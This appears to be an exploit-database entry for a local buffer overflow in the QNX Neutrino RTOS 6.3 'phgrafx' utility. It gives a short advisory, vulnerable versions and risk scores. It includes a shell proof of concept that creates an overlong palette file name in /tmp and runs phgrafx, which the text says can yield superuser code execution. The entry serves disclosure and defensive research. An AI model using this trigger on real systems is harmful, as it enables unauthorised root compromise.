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QNX Neutrino RTOS 6.3 - 'phgrafx' Local Buffer Overflow

🗓️ 01 Jul 2008 00:00:00Reported by Filipe BalestraType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

QNX Neutrino RTOS 6.3 has a local buffer overflow in 'phgrafx', risking superuser code execution.

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source: https://www.securityfocus.com/bid/30024/info

QNX Neutrino RTOS is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. This issue affects the 'phgrafx' utility.

Attackers can exploit this issue to execute arbitrary code with superuser privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts will result in a denial of service.

QNX Neutrino RTOS 6.3.2 and 6.3.0 are vulnerable; other versions may be affected as well.

# PHOTON_PATH=/tmp
# cd /tmp
# mkdir palette
# cd palette
# touch `perl -e 'print "A" x 290 . ".pal"'`
# /usr/photon/bin/phgrafx

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02 Mar 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.05929
39